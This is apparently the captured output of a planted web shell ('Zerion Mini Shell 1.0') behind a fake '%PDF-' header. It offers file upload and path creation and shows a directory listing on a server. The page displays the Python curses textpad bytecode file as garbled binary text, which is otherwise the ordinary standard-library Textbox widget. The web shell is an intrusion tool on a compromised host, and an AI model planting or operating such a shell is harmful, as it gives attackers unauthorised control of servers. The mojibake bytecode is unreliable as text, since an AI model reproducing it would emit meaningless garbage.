%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/curses/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/curses/__pycache__/textpad.cpython-38.pyc

U

q©ßaéã@sVdZddlZddlZdd„ZGdd„dƒZedkrRdd	„Ze e¡Ze	d
e
eƒƒdS)z:Simple textbox editing widget with Emacs-like keybindings.éNcCs¼| |d|tj||d¡| ||dtj||d¡| ||dtj||d¡| |d|tj||d¡| ||tj¡| ||tj¡| ||tj¡| ||tj	¡dS)z^Draw a rectangle with corners at the provided upper-left
    and lower-right coordinates.
    éN)
ZvlineÚcursesZ	ACS_VLINEZhlineZ	ACS_HLINEÚaddchZACS_ULCORNERZACS_URCORNERZACS_LRCORNERZACS_LLCORNER)ÚwinÚulyÚulxZlryZlrx©rú*/usr/local/lib/python3.8/curses/textpad.pyÚ	rectanglesr
c@sLeZdZdZddd„Zdd„Zdd„Zd	d
„Zdd„Zd
d„Z	ddd„Z
dS)ÚTextboxadEditing widget using the interior of a window object.
     Supports the following Emacs-like key bindings:

    Ctrl-A      Go to left edge of window.
    Ctrl-B      Cursor left, wrapping to previous line if appropriate.
    Ctrl-D      Delete character under cursor.
    Ctrl-E      Go to right edge (stripspaces off) or end of line (stripspaces on).
    Ctrl-F      Cursor right, wrapping to next line when appropriate.
    Ctrl-G      Terminate, returning the window contents.
    Ctrl-H      Delete character backward.
    Ctrl-J      Terminate if the window is 1 line, otherwise insert newline.
    Ctrl-K      If line is blank, delete it, otherwise clear to end of line.
    Ctrl-L      Refresh screen.
    Ctrl-N      Cursor down; move down one line.
    Ctrl-O      Insert a blank line at cursor location.
    Ctrl-P      Cursor up; move up one line.

    Move operations do nothing if the cursor is at an edge where the movement
    is not possible.  The following synonyms are supported where possible:

    KEY_LEFT = Ctrl-B, KEY_RIGHT = Ctrl-F, KEY_UP = Ctrl-P, KEY_DOWN = Ctrl-N
    KEY_BACKSPACE = Ctrl-h
    FcCs.||_||_| ¡d|_d|_| d¡dS©Nr)rÚinsert_modeÚ_update_max_yxÚstripspacesÚlastcmdZkeypad)Úselfrr
rrr	Ú__init__+szTextbox.__init__cCs&|j ¡\}}|d|_|d|_dSr)rZgetmaxyxÚmaxyÚmaxx)rrrrrr	r3s
zTextbox._update_max_yxcCsX| ¡|j}tj |j ||¡¡tjjkr@t|j|dƒ}qTn
|dkrJqT|d}q|S)zuGo to the location of the first blank on the given line,
        returning the index of the last non-blank character.rr)rrrÚasciirÚinchZSPÚmin)rÚyZlastrrr	Ú_end_of_line8s
zTextbox._end_of_linecCs¶| ¡|j ¡\}}d}||jks.||jkrž|jr>|j ¡}z|j |¡Wntj	k
rdYnX|jržtj
 |¡szqž|}|j ¡\}}|dkr||f}q|dk	r²|jj|ŽdS)N)
rrÚgetyxrrr
rrrÚerrorrÚisprintÚmove)rÚchrÚxZbackyxZoldchrrr	Ú_insert_printable_charFs$

zTextbox._insert_printable_charcCsV| ¡|j ¡\}}||_tj |¡rJ||jks<||jkrF| 	|¡n|tjj
krh|j |d¡nê|tjjtj
tjjtjfkr|dkr¢|j ||d¡nB|dkr¬n8|jrÐ|j |d| |d¡¡n|j |d|j¡|tjjtjfkrR|j ¡nL|tjjkr"|j ¡n0|tjjkrb|jrN|j || |¡¡n|j ||j¡nð|tjjtjfkrº||jkr–|j ||d¡n ||jkr¤n|j |dd¡n˜|tjjkrÌdS|tjjkr|jdkrêdS||jkrR|j |dd¡nF|tjjkrZ|dkr@| |¡dkr@|j ¡n|j ||¡|j ¡nø|tjjkrt|j ¡nÞ|tjjtjfkrØ||jkrR|j |d|¡|| |d¡krR|j |d| |d¡¡nz|tjj krò|j !¡n`|tjj"tj#fkrR|dkrR|j |d|¡|| |d¡krR|j |d| |d¡¡dS)z!Process a single editing command.rr)$rrrrrrrrrr ZSOHrZSTXZKEY_LEFTZBSZ
KEY_BACKSPACErrZdelchZEOTZENQZACKZ	KEY_RIGHTZBELÚNLZVTZdeletelnZclrtoeolZFFÚrefreshZSOZKEY_DOWNZSIZinsertlnZDLEZKEY_UP)rrrrrrr	Ú
do_command_sr
zTextbox.do_commandc
Cs¢d}| ¡t|jdƒD]‚}|j |d¡| |¡}|dkrF|jrFqt|jdƒD]4}|jrj||krjqŠ|tt	j
 
|j ||¡¡ƒ}qT|jdkr|d}q|S)z.Collect and return the contents of the window.ÚrrÚ
)rÚrangerrrrrrÚchrrrr)rÚresultrÚstoprrrr	Úgather s
 

zTextbox.gatherNcCs<|j ¡}|r||ƒ}|sq| |¡s(q4|j ¡q| ¡S)z2Edit in the widget window and collect the results.)rZgetchr#r"r*)rÚvalidaterrrr	Úedit±s

zTextbox.edit)F)N)Ú__name__Ú
__module__Ú__qualname__Ú__doc__rrrr r#r*r,rrrr	rs
ArÚ__main__cCsfd\}}d\}}| |d|d¡t ||||¡}t||d|d||||ƒ| ¡t|ƒ ¡S)N)é	é)ééézUse Ctrl-G to end editing.r)ZaddstrrZnewwinr
r"rr,)ZstdscrZncolsZnlinesrrrrrr	Útest_editbox¿s r7zContents of text box:)r0rZcurses.asciir
rr-r7ÚwrapperÚstrÚprintÚreprrrrr	Ú<module>s
,	


Zerion Mini Shell 1.0